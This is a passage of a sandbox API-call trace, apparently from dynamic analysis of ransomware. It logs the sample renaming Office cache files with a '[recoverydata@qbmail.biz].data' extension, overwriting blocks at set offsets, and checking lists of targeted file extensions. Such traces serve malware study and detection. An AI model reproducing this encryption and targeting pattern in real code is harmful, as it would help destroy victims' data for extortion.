lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.741] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0091.743] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.767] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0091.767] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0091.767] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.790] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.790] WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0092.307] SetEndOfFile (hFile=0x1ac) returned 1 [0092.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fba0a8 [0092.405] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0092.405] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.471] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0092.471] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.479] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0092.479] WriteFile (in: hFile=0x1ac, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fba0a8 | out: hHeap=0x5b0000) returned 1 [0092.488] CloseHandle (hObject=0x1ac) returned 1 [0095.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0095.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.026] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.026] lstrlenW (lpString=".doc") returned 4 [0095.026] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.026] lstrlenW (lpString=".docx") returned 5 [0095.026] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.026] lstrlenW (lpString=".pdf") returned 4 [0095.026] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.026] lstrlenW (lpString=".xls") returned 4 [0095.026] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.026] lstrlenW (lpString=".xlsx") returned 5 [0095.026] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.026] lstrlenW (lpString=".ppt") returned 4 [0095.027] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString=".zip") returned 4 [0095.027] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString=".rar") returned 4 [0095.027] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString=".bz2") returned 4 [0095.027] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.027] lstrlenW (lpString=".7z") returned 3 [0095.027] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString=".dbf") returned 4 [0095.027] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString=".1cd") returned 4 [0095.027] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString=".jpg") returned 4 [0095.027] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.027] lstrlenW (lpString=".doc") returned 4 [0095.027] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.027] lstrlenW (lpString=".docx") returned 5 [0095.027] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.027] lstrlenW (lpString=".pdf") returned 4 [0095.028] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.028] lstrlenW (lpString=".xls") returned 4 [0095.028] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.028] lstrlenW (lpString=".xlsx") returned 5 [0095.028] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.028] lstrlenW (lpString=".ppt") returned 4 [0095.028] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.028] lstrlenW (lpString=".zip") returned 4 [0095.028] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.028] lstrlenW (lpString=".rar") returned 4 [0095.028] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.028] lstrlenW (lpString=".bz2") returned 4 [0095.028] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.028] lstrlenW (lpString=".7z") returned 3 [0095.028] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.029] lstrlenW (lpString=".dbf") returned 4 [0095.029] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.029] lstrlenW (lpString=".1cd") returned 4 [0095.029] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0095.029] lstrlenW (lpString=".jpg") returned 4 [0095.029] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.030] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0095.030] lstrlenW (lpString="VisioMUI.msi") returned 12 [0095.030] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0095.031] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2797568) returned 1 [0095.031] CloseHandle (hObject=0x1ac) returned 1 [0095.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0095.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.031] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0095.032] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0095.032] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0095.032] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.032] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.055] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.055] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.118] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.118] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.118] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.136] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.136] WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0095.422] SetEndOfFile (hFile=0x1ac) returned 1 [0095.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0095.496] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.497] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.500] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.500] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.508] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.508] WriteFile (in: hFile=0x1ac, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0095.511] CloseHandle (hObject=0x1ac) returned 1 [0095.511] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0095.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.512] lstrlenW (lpString=".doc") returned 4 [0095.512] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.512] lstrlenW (lpString=".docx") returned 5 [0095.512] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.512] lstrlenW (lpString=".pdf") returned 4 [0095.512] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.512] lstrlenW (lpString=".xls") returned 4 [0095.512] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.512] lstrlenW (lpString=".xlsx") returned 5 [0095.512] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.512] lstrlenW (lpString=".ppt") returned 4 [0095.512] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.512] lstrlenW (lpString=".zip") returned 4 [0095.512] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.513] lstrlenW (lpString=".rar") returned 4 [0095.513] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.513] lstrlenW (lpString=".bz2") returned 4 [0095.513] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.513] lstrlenW (lpString=".7z") returned 3 [0095.513] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.513] lstrlenW (lpString=".dbf") returned 4 [0095.513] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.513] lstrlenW (lpString=".1cd") returned 4 [0095.513] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.513] lstrlenW (lpString=".jpg") returned 4 [0095.513] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.513] lstrlenW (lpString=".doc") returned 4 [0095.513] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.513] lstrlenW (lpString=".docx") returned 5 [0095.514] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.514] lstrlenW (lpString=".pdf") returned 4 [0095.514] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.514] lstrlenW (lpString=".xls") returned 4 [0095.514] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.514] lstrlenW (lpString=".xlsx") returned 5 [0095.514] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.514] lstrlenW (lpString=".ppt") returned 4 [0095.514] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.514] lstrlenW (lpString=".zip") returned 4 [0095.514] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.514] lstrlenW (lpString=".rar") returned 4 [0095.514] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.514] lstrlenW (lpString=".bz2") returned 4 [0095.514] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.514] lstrlenW (lpString=".7z") returned 3 [0095.514] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.514] lstrlenW (lpString=".dbf") returned 4 [0095.514] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.514] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.514] lstrlenW (lpString=".1cd") returned 4 [0095.514] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.515] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0095.515] lstrlenW (lpString=".jpg") returned 4 [0095.515] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.515] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0095.515] lstrlenW (lpString="ProjLR.cab") returned 10 [0095.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0095.536] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=8265165) returned 1 [0095.536] CloseHandle (hObject=0x1b4) returned 1 [0095.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0095.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.573] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0095.574] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0095.574] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0095.574] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.575] ReadFile (in: hFile=0x1b4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.629] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.629] ReadFile (in: hFile=0x1b4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.644] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.644] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.645] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.951] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.951] WriteFile (in: hFile=0x1b4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0096.296] SetEndOfFile (hFile=0x1b4) returned 1 [0096.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f00060 [0096.446] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.446] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.450] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.450] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.453] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.453] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0096.456] CloseHandle (hObject=0x1b4) returned 1 [0096.457] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0096.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.457] lstrlenW (lpString=".doc") returned 4 [0096.457] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0096.457] lstrlenW (lpString=".docx") returned 5 [0096.457] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0096.457] lstrlenW (lpString=".pdf") returned 4 [0096.457] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0096.457] lstrlenW (lpString=".xls") returned 4 [0096.457] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0096.457] lstrlenW (lpString=".xlsx") returned 5 [0096.458] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0096.458] lstrlenW (lpString=".ppt") returned 4 [0096.458] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0096.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0096.458] lstrlenW (lpString=".zip") returned 4 [0096.458] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0096.458] lstrlenW (lpString=".rar") returned 4 